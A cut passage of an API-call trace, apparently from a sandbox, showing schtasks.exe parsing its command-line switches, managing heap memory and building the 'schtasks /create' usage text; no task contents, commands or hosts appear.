(_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.805] lstrlenW (lpString="f") returned 1 [0078.805] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.805] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|delete|") returned 8 [0078.805] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|f|") returned 3 [0078.805] lstrlenW (lpString="|delete|") returned 8 [0078.805] lstrlenW (lpString="|f|") returned 3 [0078.805] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0078.805] SetLastError (dwErrCode=0x490) [0078.805] lstrlenW (lpString="query") returned 5 [0078.805] lstrlenW (lpString="query") returned 5 [0078.805] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.805] lstrlenW (lpString="f") returned 1 [0078.805] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.805] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|query|") returned 7 [0078.805] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|f|") returned 3 [0078.805] lstrlenW (lpString="|query|") returned 7 [0078.805] lstrlenW (lpString="|f|") returned 3 [0078.805] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0078.805] SetLastError (dwErrCode=0x490) [0078.805] lstrlenW (lpString="change") returned 6 [0078.805] lstrlenW (lpString="change") returned 6 [0078.805] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.805] lstrlenW (lpString="f") returned 1 [0078.806] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.806] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|change|") returned 8 [0078.806] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|f|") returned 3 [0078.806] lstrlenW (lpString="|change|") returned 8 [0078.806] lstrlenW (lpString="|f|") returned 3 [0078.806] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0078.806] SetLastError (dwErrCode=0x490) [0078.806] lstrlenW (lpString="run") returned 3 [0078.806] lstrlenW (lpString="run") returned 3 [0078.806] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.806] lstrlenW (lpString="f") returned 1 [0078.806] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.806] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|run|") returned 5 [0078.806] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|f|") returned 3 [0078.806] lstrlenW (lpString="|run|") returned 5 [0078.806] lstrlenW (lpString="|f|") returned 3 [0078.806] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0078.806] SetLastError (dwErrCode=0x490) [0078.806] lstrlenW (lpString="end") returned 3 [0078.806] lstrlenW (lpString="end") returned 3 [0078.806] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.806] lstrlenW (lpString="f") returned 1 [0078.806] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.806] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|end|") returned 5 [0078.806] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|f|") returned 3 [0078.806] lstrlenW (lpString="|end|") returned 5 [0078.806] lstrlenW (lpString="|f|") returned 3 [0078.806] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0078.806] SetLastError (dwErrCode=0x490) [0078.806] lstrlenW (lpString="showsid") returned 7 [0078.807] lstrlenW (lpString="showsid") returned 7 [0078.807] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.807] lstrlenW (lpString="f") returned 1 [0078.807] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.807] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|showsid|") returned 9 [0078.807] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|f|") returned 3 [0078.807] lstrlenW (lpString="|showsid|") returned 9 [0078.807] lstrlenW (lpString="|f|") returned 3 [0078.807] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0078.807] SetLastError (dwErrCode=0x490) [0078.807] SetLastError (dwErrCode=0x490) [0078.807] SetLastError (dwErrCode=0x0) [0078.807] lstrlenW (lpString="/f") returned 2 [0078.807] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0078.807] SetLastError (dwErrCode=0x490) [0078.807] SetLastError (dwErrCode=0x0) [0078.807] lstrlenW (lpString="/f") returned 2 [0078.807] GetProcessHeap () returned 0x3f0000 [0078.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x6) returned 0x40de90 [0078.807] GetProcessHeap () returned 0x3f0000 [0078.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ce90 [0078.807] SetLastError (dwErrCode=0x0) [0078.807] GetProcessHeap () returned 0x3f0000 [0078.807] GetProcessHeap () returned 0x3f0000 [0078.807] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2e0) returned 1 [0078.807] GetProcessHeap () returned 0x3f0000 [0078.807] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c2e0) returned 0x8 [0078.807] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2e0 | out: hHeap=0x3f0000) returned 1 [0078.807] GetProcessHeap () returned 0x3f0000 [0078.807] GetProcessHeap () returned 0x3f0000 [0078.807] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd10) returned 1 [0078.807] GetProcessHeap () returned 0x3f0000 [0078.807] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd10) returned 0x20 [0078.808] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd10 | out: hHeap=0x3f0000) returned 1 [0078.808] GetProcessHeap () returned 0x3f0000 [0078.809] GetProcessHeap () returned 0x3f0000 [0078.809] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c370) returned 1 [0078.809] GetProcessHeap () returned 0x3f0000 [0078.809] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c370) returned 0x10 [0078.809] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c370 | out: hHeap=0x3f0000) returned 1 [0078.809] GetProcessHeap () returned 0x3f0000 [0078.809] GetProcessHeap () returned 0x3f0000 [0078.809] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd40) returned 1 [0078.809] GetProcessHeap () returned 0x3f0000 [0078.809] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd40) returned 0x20 [0078.809] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd40 | out: hHeap=0x3f0000) returned 1 [0078.809] GetProcessHeap () returned 0x3f0000 [0078.809] GetProcessHeap () returned 0x3f0000 [0078.809] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c390) returned 1 [0078.809] GetProcessHeap () returned 0x3f0000 [0078.809] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c390) returned 0x8 [0078.810] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c390 | out: hHeap=0x3f0000) returned 1 [0078.810] GetProcessHeap () returned 0x3f0000 [0078.810] GetProcessHeap () returned 0x3f0000 [0078.810] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd70) returned 1 [0078.810] GetProcessHeap () returned 0x3f0000 [0078.810] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd70) returned 0x20 [0078.810] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd70 | out: hHeap=0x3f0000) returned 1 [0078.810] GetProcessHeap () returned 0x3f0000 [0078.810] GetProcessHeap () returned 0x3f0000 [0078.810] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c3b0) returned 1 [0078.810] GetProcessHeap () returned 0x3f0000 [0078.810] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c3b0) returned 0xe [0078.811] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c3b0 | out: hHeap=0x3f0000) returned 1 [0078.811] GetProcessHeap () returned 0x3f0000 [0078.811] GetProcessHeap () returned 0x3f0000 [0078.811] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cda0) returned 1 [0078.811] GetProcessHeap () returned 0x3f0000 [0078.811] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cda0) returned 0x20 [0078.811] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cda0 | out: hHeap=0x3f0000) returned 1 [0078.811] GetProcessHeap () returned 0x3f0000 [0078.811] GetProcessHeap () returned 0x3f0000 [0078.811] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c3d0) returned 1 [0078.811] GetProcessHeap () returned 0x3f0000 [0078.811] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c3d0) returned 0x8 [0078.811] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c3d0 | out: hHeap=0x3f0000) returned 1 [0078.811] GetProcessHeap () returned 0x3f0000 [0078.811] GetProcessHeap () returned 0x3f0000 [0078.812] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cdd0) returned 1 [0078.812] GetProcessHeap () returned 0x3f0000 [0078.812] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cdd0) returned 0x20 [0078.812] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cdd0 | out: hHeap=0x3f0000) returned 1 [0078.812] GetProcessHeap () returned 0x3f0000 [0078.812] GetProcessHeap () returned 0x3f0000 [0078.812] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c3f0) returned 1 [0078.812] GetProcessHeap () returned 0x3f0000 [0078.812] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c3f0) returned 0x4 [0078.812] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c3f0 | out: hHeap=0x3f0000) returned 1 [0078.812] GetProcessHeap () returned 0x3f0000 [0078.812] GetProcessHeap () returned 0x3f0000 [0078.812] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce00) returned 1 [0078.812] GetProcessHeap () returned 0x3f0000 [0078.812] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ce00) returned 0x20 [0078.813] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce00 | out: hHeap=0x3f0000) returned 1 [0078.813] GetProcessHeap () returned 0x3f0000 [0078.813] GetProcessHeap () returned 0x3f0000 [0078.813] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c410) returned 1 [0078.813] GetProcessHeap () returned 0x3f0000 [0078.813] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c410) returned 0x8 [0078.813] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c410 | out: hHeap=0x3f0000) returned 1 [0078.813] GetProcessHeap () returned 0x3f0000 [0078.813] GetProcessHeap () returned 0x3f0000 [0078.813] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce30) returned 1 [0078.813] GetProcessHeap () returned 0x3f0000 [0078.813] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ce30) returned 0x20 [0078.814] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce30 | out: hHeap=0x3f0000) returned 1 [0078.814] GetProcessHeap () returned 0x3f0000 [0078.814] GetProcessHeap () returned 0x3f0000 [0078.814] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40de30) returned 1 [0078.814] GetProcessHeap () returned 0x3f0000 [0078.814] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40de30) returned 0x56 [0078.814] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40de30 | out: hHeap=0x3f0000) returned 1 [0078.814] GetProcessHeap () returned 0x3f0000 [0078.814] GetProcessHeap () returned 0x3f0000 [0078.814] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce60) returned 1 [0078.814] GetProcessHeap () returned 0x3f0000 [0078.815] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ce60) returned 0x20 [0078.815] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce60 | out: hHeap=0x3f0000) returned 1 [0078.815] GetProcessHeap () returned 0x3f0000 [0078.815] GetProcessHeap () returned 0x3f0000 [0078.815] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40de90) returned 1 [0078.815] GetProcessHeap () returned 0x3f0000 [0078.815] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40de90) returned 0x6 [0078.815] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40de90 | out: hHeap=0x3f0000) returned 1 [0078.815] GetProcessHeap () returned 0x3f0000 [0078.815] GetProcessHeap () returned 0x3f0000 [0078.815] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce90) returned 1 [0078.815] GetProcessHeap () returned 0x3f0000 [0078.815] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ce90) returned 0x20 [0078.816] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce90 | out: hHeap=0x3f0000) returned 1 [0078.816] GetProcessHeap () returned 0x3f0000 [0078.816] GetProcessHeap () returned 0x3f0000 [0078.816] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405510) returned 1 [0078.816] GetProcessHeap () returned 0x3f0000 [0078.816] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405510) returned 0x18 [0078.816] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405510 | out: hHeap=0x3f0000) returned 1 [0078.816] SetLastError (dwErrCode=0x0) [0078.816] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0078.816] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0078.816] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0078.816] VerifyVersionInfoW (in: lpVersionInformation=0x27c270, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27c270) returned 1 [0078.817] SetLastError (dwErrCode=0x0) [0078.817] lstrlenW (lpString="create") returned 6 [0078.817] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0078.817] SetLastError (dwErrCode=0x490) [0078.817] SetLastError (dwErrCode=0x0) [0078.817] lstrlenW (lpString="create") returned 6 [0078.817] GetProcessHeap () returned 0x3f0000 [0078.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ce90 [0078.817] GetProcessHeap () returned 0x3f0000 [0078.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40d620 [0078.817] _memicmp (_Buf1=0x40d620, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.817] GetProcessHeap () returned 0x3f0000 [0078.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x16) returned 0x40d640 [0078.817] SetLastError (dwErrCode=0x0) [0078.817] _memicmp (_Buf1=0x40bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.817] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x40bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0078.817] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0078.817] GetProcessHeap () returned 0x3f0000 [0078.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x74e) returned 0x40de30 [0078.818] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x40de30 | out: lpData=0x40de30) returned 1 [0078.818] VerQueryValueW (in: pBlock=0x40de30, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27c358, puLen=0x27c3c0 | out: lplpBuffer=0x27c358*=0x40e1cc, puLen=0x27c3c0) returned 1 [0078.818] _memicmp (_Buf1=0x40bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.818] _vsnwprintf (in: _Buffer=0x40bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27c338 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0078.818] VerQueryValueW (in: pBlock=0x40de30, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27c3c8, puLen=0x27c3b8 | out: lplpBuffer=0x27c3c8*=0x40dff8, puLen=0x27c3b8) returned 1 [0078.818] lstrlenW (lpString="schtasks.exe") returned 12 [0078.818] lstrlenW (lpString="schtasks.exe") returned 12 [0078.818] lstrlenW (lpString=".EXE") returned 4 [0078.818] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0078.818] lstrlenW (lpString="schtasks.exe") returned 12 [0078.818] lstrlenW (lpString=".EXE") returned 4 [0078.818] lstrlenW (lpString="schtasks") returned 8 [0078.818] lstrlenW (lpString="/create") returned 7 [0078.818] _memicmp (_Buf1=0x40bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.818] _vsnwprintf (in: _Buffer=0x40bd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x27c338 | out: _Buffer="schtasks /create") returned 16 [0078.818] _memicmp (_Buf1=0x40bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.818] GetProcessHeap () returned 0x3f0000 [0078.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ce60 [0078.818] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.819] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0078.819] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0078.819] GetProcessHeap () returned 0x3f0000 [0078.819] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x30) returned 0x407bd0 [0078.819] _vsnwprintf (in: _Buffer=0x40c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27c338 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0078.819] GetProcessHeap () returned 0x3f0000 [0078.819] GetProcessHeap () returned 0x3f0000 [0078.819] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40de30) returned 1 [0078.819] GetProcessHeap () returned 0x3f0000 [0078.824] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40de30) returned 0x74e [0078.825] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40de30 | out: hHeap=0x3f0000) returned 1 [0078.825] SetLastError (dwErrCode=0x0) [0078.825] GetThreadLocale () returned 0x409 [0078.825] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.825] lstrlenW (lpString="create") returned 6 [0078.825] GetThreadLocale () returned 0x409 [0078.825] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.825] lstrlenW (lpString="?") returned 1 [0078.825] GetThreadLocale () returned 0x409 [0078.825] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.825] lstrlenW (lpString="s") returned 1 [0078.825] GetThreadLocale () returned 0x409 [0078.825] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.825] lstrlenW (lpString="u") returned 1 [0078.825] GetThreadLocale () returned 0x409 [0078.825] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.825] lstrlenW (lpString="p") returned 1 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.826] lstrlenW (lpString="ru") returned 2 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.826] lstrlenW (lpString="rp") returned 2 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.826] lstrlenW (lpString="sc") returned 2 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.826] lstrlenW (lpString="mo") returned 2 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.826] lstrlenW (lpString="d") returned 1 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.826] lstrlenW (lpString="m") returned 1 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.826] lstrlenW (lpString="i") returned 1 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.826] lstrlenW (lpString="tn") returned 2 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.826] lstrlenW (lpString="tr") returned 2 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.826] lstrlenW (lpString="st") returned 2 [0078.826] GetThreadLocale () returned 0x409 [0078.826] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="sd") returned 2 [0078.827] GetThreadLocale () returned 0x409 [0078.827] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="ed") returned 2 [0078.827] GetThreadLocale () returned 0x409 [0078.827] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="it") returned 2 [0078.827] GetThreadLocale () returned 0x409 [0078.827] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="et") returned 2 [0078.827] GetThreadLocale () returned 0x409 [0078.827] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="k") returned 1 [0078.827] GetThreadLocale () returned 0x409 [0078.827] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="du") returned 2 [0078.827] GetThreadLocale () returned 0x409 [0078.827] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="ri") returned 2 [0078.827] GetThreadLocale () returned 0x409 [0078.827] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="z") returned 1 [0078.827] GetThreadLocale () returned 0x409 [0078.827] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="f") returned 1 [0078.827] GetThreadLocale () returned 0x409 [0078.827] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="v1") returned 2 [0078.827] GetThreadLocale () returned 0x409 [0078.827] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.827] lstrlenW (lpString="xml") returned 3 [0078.827] GetThreadLocale () returned 0x409 [0078.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.828] lstrlenW (lpString="ec") returned 2 [0078.828] GetThreadLocale () returned 0x409 [0078.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.828] lstrlenW (lpString="rl") returned 2 [0078.828] GetThreadLocale () returned 0x409 [0078.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.828] lstrlenW (lpString="delay") returned 5 [0078.828] GetThreadLocale () returned 0x409 [0078.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.828] lstrlenW (lpString="np") returned 2 [0078.828] SetLastError (dwErrCode=0x0) [0078.828] SetLastError (dwErrCode=0x0) [0078.828] lstrlenW (lpString="/create") returned 7 [0078.828] lstrlenW (lpString="-/") returned 2 [0078.828] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.828] lstrlenW (lpString="create") returned 6 [0078.828] lstrlenW (lpString="create") returned 6 [0078.828] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.828] lstrlenW (lpString="create") returned 6 [0078.828] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.828] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|create|") returned 8 [0078.828] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|create|") returned 8 [0078.828] lstrlenW (lpString="|create|") returned 8 [0078.828] lstrlenW (lpString="|create|") returned 8 [0078.828] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0078.828] SetLastError (dwErrCode=0x0) [0078.828] SetLastError (dwErrCode=0x0) [0078.828] SetLastError (dwErrCode=0x0) [0078.829] lstrlenW 